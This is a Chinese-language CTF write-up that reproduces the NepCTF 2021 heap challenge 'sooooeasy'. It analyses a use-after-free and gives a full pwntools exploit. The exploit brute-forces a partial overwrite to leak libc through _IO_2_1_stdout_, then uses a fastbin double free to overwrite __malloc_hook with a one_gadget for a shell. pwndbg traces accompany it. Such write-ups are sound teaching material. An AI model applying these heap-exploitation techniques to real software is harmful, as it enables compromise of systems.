nepctf2021 sooooeasy 复现
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| ➜ [/home/ywhkkx/桌面] ./sooooeasy NN NN EEEEEEEE PPPPPP NNNN NN EE PP PP NN NN NN EEEEEEE PPPPPP NN NN NN EE PP NN NNNN EE PP NN NNN EEEEEEEE PP
PLEASE SIGN IN:
1. Add 2. Delete 3. Exit Your choice :
|
标准堆模板(看上去没有“打印模块”和“修改模块”)
1 2 3 4 5 6 7 8
| sooooeasy: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=01a6d58e17059a67f6576746d73859db1943e557, stripped
[*] '/home/ywhkkx/桌面/sooooeasy' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
|
64位,dynamically,全开
漏洞分析
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| int delete() { unsigned int index; unsigned __int64 canary;
canary = __readfsqword(0x28u); if ( !chunk_num ) return puts("Null!"); puts("mumber's index:"); _isoc99_scanf("%d", &index); if ( index <= 0x13 && chunk_list[index] ) { *(_DWORD *)chunk_list[index] = 0; free(*(void **)(chunk_list[index] + 8LL)); return puts("Deleted!"); } else { puts("index error!"); return 0; } }
|
明显的UAF
heap结构
本题目有以下结构体:
1 2 3 4 5
| struct chunk_block{ unsigned int inuse; unsigned int *name; char message[24]; };
|
具体存储结构如下:
1 2 3
| add(0x20,'1111','aaaa') add(0x20,'2222','bbbb') add(0x20,'3333','cccc')
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| pwndbg> x/20xg 0x5638534cc000 0x5638534cc000: 0x0000000000000000 0x0000000000000031 0x5638534cc010: 0x0000000000000001 0x00005638534cc040 0x5638534cc020: 0x0000000061616161 0x0000000000000000 0x5638534cc030: 0x0000000000000000 0x0000000000000031 0x5638534cc040: 0x0000000a31313131 0x0000000000000000 0x5638534cc050: 0x0000000000000000 0x0000000000000000 0x5638534cc060: 0x0000000000000000 0x0000000000000031 0x5638534cc070: 0x0000000000000001 0x00005638534cc0a0 0x5638534cc080: 0x0000000062626262 0x0000000000000000 0x5638534cc090: 0x0000000000000000 0x0000000000000031 0x5638534cc0a0: 0x0000000a32323232 0x0000000000000000 0x5638534cc0b0: 0x0000000000000000 0x0000000000000000 0x5638534cc0c0: 0x0000000000000000 0x0000000000000031 0x5638534cc0d0: 0x0000000000000001 0x00005638534cc100 0x5638534cc0e0: 0x0000000063636363 0x0000000000000000 0x5638534cc0f0: 0x0000000000000000 0x0000000000000031 0x5638534cc100: 0x0000000a33333333 0x0000000000000000 0x5638534cc110: 0x0000000000000000 0x0000000000000000 0x5638534cc120: 0x0000000000000000 0x0000000000020ee1
|
入侵思路
本题的完全没法泄露信息,看来我的独立解题就到此为止了,接下来学习大佬的操作
// 如果可以 leak 出 libc_base,就可以打 Double free
大佬的exp:(大佬显然想打爆破,学习了)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64
| from pwn import*
context.update(arch='amd64',os='linux',timeout=0.5)
libc=ELF('./libc-2.23.so')
def add(name_size,name='a',message='b'): p.sendlineafter('choice : ','1') p.sendlineafter('your name: \n',str(name_size)) p.sendafter('Your name:\n',name) p.sendlineafter('Your message:\n',message) def delete(idx): p.sendlineafter('choice : ','2') p.sendlineafter('index:',str(idx)) def pr(a,addr): log.success(a+'===>'+hex(addr))
def pwn(): add(0x60) add(0x90) add(0x60) delete(1) _IO_2_1_stdout_s = libc.symbols['_IO_2_1_stdout_'] add(0x60,p16((2 << 12) + ((_IO_2_1_stdout_s-0x43) & 0xFFF))) delete(0) delete(2) delete(0) add(0x60,'\x00') add(0x60) add(0x60) add(0x60) add(0x60,'a'*0x33+p64(0xfbad1800)+p64(0)*3+'\x00') libcbase=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-0x3c5600 libc_realloc = libcbase + libc.sym['__libc_realloc'] malloc_hook = libcbase + libc.sym['__malloc_hook'] one = libcbase + [0x45226,0x4527a,0xf0364,0xf1207][1] pr('libcbase',libcbase) pr('malloc_hook',malloc_hook) pr('one',one) delete(0) delete(2) delete(0) add(0x60,p64(malloc_hook-0x23)) add(0x60) add(0x60) add(0x60,'a'*11+p64(one)+p64(libc_realloc+13)) p.sendlineafter('choice : ','1') p.interactive() while True: try: global p p = process('./sooooeasy') pwn() break except: p.close() print 'trying...'
|
接下来就来分析大佬的exp:
1 2 3 4 5 6 7
| add(0x60) add(0x90) add(0x60) delete(1) _IO_2_1_stdout_s = libc.symbols['_IO_2_1_stdout_'] add(0x60,p16((2 << 12) + ((_IO_2_1_stdout_s-0x43) & 0xFFF)))
|
delete(1) 执行后:
1 2 3 4 5
| Free chunk (unsortedbin) | PREV_INUSE Addr: 0x558b8a0970d0 Size: 0xa1 fd: 0x7f8d183d8b78 bk: 0x7f8d183d8b78
|
add(0x60,p16((2 << 12) + ((_IO_2_1_stdout_s-0x43) & 0xFFF))) 执行后:
1 2 3 4 5 6 7 8 9
| Allocated chunk | PREV_INUSE Addr: 0x558b8a0970d0 Size: 0x31
Free chunk (unsortedbin) | PREV_INUSE Addr: 0x558b8a097100 Size: 0x71 fd: 0x7f8d183d8b78 bk: 0x7f8d183d8b78
|
1 2 3 4 5
| pwndbg> telescope 0x558b8a097100 00:0000│ 0x558b8a097100 ◂— 0x0 01:0008│ 0x558b8a097108 ◂— 0x21 02:0010│ 0x558b8a097110 ◂— 0x7f8d183d0a30 03:0018│ 0x558b8a097118 —▸ 0x7f8d183d8b78 (main_arena+88) —▸ 0x558b8a097210 ◂— 0x0
|
// GDB有时不能正确执行我们需要的指令,这里需要注意
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| delete(0) delete(2) delete(0) add(0x60,'\x00') add(0x60) add(0x60) add(0x60) add(0x60,'a'*0x33+p64(0xfbad1800)+p64(0)*3+'\x00') libcbase=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-0x3c5600 libc_realloc = libcbase + libc.sym['__libc_realloc'] malloc_hook = libcbase + libc.sym['__malloc_hook'] one = libcbase + [0x45226,0x4527a,0xf0364,0xf1207][1] pr('libcbase',libcbase) pr('malloc_hook',malloc_hook) pr('one',one)
|
Double free 完成后:
1
| 0x70: 0x564859f8a030 —▸ 0x564859f8a1a0 ◂— 0x564859f8a030
|
1 2 3 4 5 6 7 8 9 10 11 12
| pwndbg> telescope 0x564859f8a030 00:0000│ 0x564859f8a030 ◂— 0x0 01:0008│ 0x564859f8a038 ◂— 0x71 02:0010│ 0x564859f8a040 —▸ 0x564859f8a1a0 ◂— 0x0 03:0018│ 0x564859f8a048 ◂— 0x0 ... ↓ 4 skipped pwndbg> telescope 0x564859f8a1a0 00:0000│ 0x564859f8a1a0 ◂— 0x0 01:0008│ 0x564859f8a1a8 ◂— 0x71 02:0010│ 0x564859f8a1b0 —▸ 0x564859f8a030 ◂— 0x0 03:0018│ 0x564859f8a1b8 ◂— 0x0 ... ↓ 4 skipped
|
接下来在申请了“chunk_block0->name”后,就可以在里面写写数据,从而改变“chunk_block2->name”的地址:(这里写入了“\x00”)
1
| 0x70: 0x5602a27a71a0 —▸ 0x5602a27a7030 —▸ 0x5602a27a7100 ◂— 0x7f1f0a9d25dd
|
1 2 3 4 5 6
| pwndbg> telescope 0x5602a27a7100 00:0000│ 0x5602a27a7100 ◂— 0x0 01:0008│ 0x5602a27a7108 ◂— 0x71 02:0010│ 0x5602a27a7110 ◂— 0x7f1f0a9d25dd 03:0018│ 0x5602a27a7118 —▸ 0x7f1f0a9ddb78 (main_arena+88) —▸ 0x5602a27a7240 ◂— 0x0 04:0020│ 0x5602a27a7120 ◂— 0x0
|
接下来一直申请,就可以劫持到 _IO_2_1_stdout_s
,篡改 _IO_2_1_stdout
的 flags 为 “0x0FBAD1887” ,然后当程序调用 puts 输出任意信息时,就会输出 _IO_write_base
到 _IO_write_ptr
之间的数据,而这之间就有 libc 的指针
1 2 3 4 5 6 7 8 9
| delete(0) delete(2) delete(0) add(0x60,p64(malloc_hook-0x23)) add(0x60) add(0x60) add(0x60,'a'*11+p64(one)+p64(libc_realloc+13)) p.sendlineafter('choice : ','1')
|
这次直接覆盖“malloc_hook-0x23”,下一次可以申请到“malloc_hook-0x23”
小结:
本题目的难点就在于没有打印模块,需要利用 _IO_2_1_stdout_
的机制(这也是我第一次遇到通过 _IO_2_1_stdout_
来打印信息的题目,以后学一学),抛开这一点不谈,本题目还开放了一下我的“脑洞”:
- 覆盖“main_arena+88”低地址来爆破“libc库函数”的操作(有House Of Roman的味道)
- 利用 Double free 间接插入“不确定地址”的操作(改变FD指向)
- 还有一种快速获取目标低地址的操作